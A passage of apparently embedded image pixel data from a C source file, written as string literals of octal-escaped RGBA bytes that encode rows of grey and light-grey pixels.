"\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377"
"\226\222\222\377ppp\377ppp\331ppp\377ppp\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377}||\377"
"ppp\377\226\226\226\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\216\216\216\377ppp\377"
"\203\202\202\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230"
"\230\377\234\230\230\377\225\222\222\377ppp\377ppp\332ppp\377ppp\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\234\230\230\377}||\377ppp\377\226\226\226\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\216\216\216\377ppp\377\203\202\202\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\225\222\222\377ppp\377"
"ppp\332ppp\377ppp\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377}||\377ppp\377\226\226\226\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\216\216\216\377ppp\377\203\202\202\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\225\222\222\377ppp\377ppp\332ppp\377ppp\377\234\230\230\377\234\230"
"\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377"
"}||\377ppp\377\227\227\227\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\216\216\216"
"\377ppp\377\203\202\202\377\234\230\230\377\234\230\230\377\234\230\230\377"
"\234\230\230\377\234\230\230\377\225\222\222\377ppp\377ppp\332ppp\377ppp"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\234\230\230\377}||\377ppp\377\227\227\227\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\216\216\216\377ppp\377\203\202\202\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\226\223\223"
"\377ppp\377ppp\333ppp\377ppp\377\234\230\230\377\234\230\230\377\234\230"
"\230\377\234\230\230\377\234\230\230\377\234\230\230\377}||\377ppp\377\227"
"\227\227\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\216\216\216\377ppp\377\203\202"
"\202\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377"
"\234\230\230\377\226\223\223\377ppp\377ppp\333ppp\377ppp\377\234\230\230"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377}||\377ppp\377\227\227\227\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\216\216\216\377ppp\377\203\202\202\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\226\223\223\377ppp\377ppp\333"
"ppp\377ppp\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\234\230\230\377}||\377ppp\377\227\227\227\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\216\216\216\377ppp\377\203\202\202\377\234\230\230"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\226"
"\223\223\377ppp\377ppp\333ppp\377ppp\377\234\230\230\377\234\230\230\377"
"\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377}||\377p"
"pp\377\227\227\227\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\216\216\216\377ppp\377"
"\203\202\202\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230"
"\230\377\234\230\230\377\226\222\222\377ppp\377ppp\334ppp\377ppp\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\234\230\230\377}||\377ppp\377\227\227\227\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\216\216\216\377ppp\377\203\202\202\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\226\222\222\377ppp\377"
"ppp\334ppp\377ppp\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377}||\377ppp\377\227\227\227\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\216\216\216\377ppp\377\203\202\202\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\226\222\222\377ppp\377ppp\334ppp\377ppp\377\234\230\230\377\234\230"
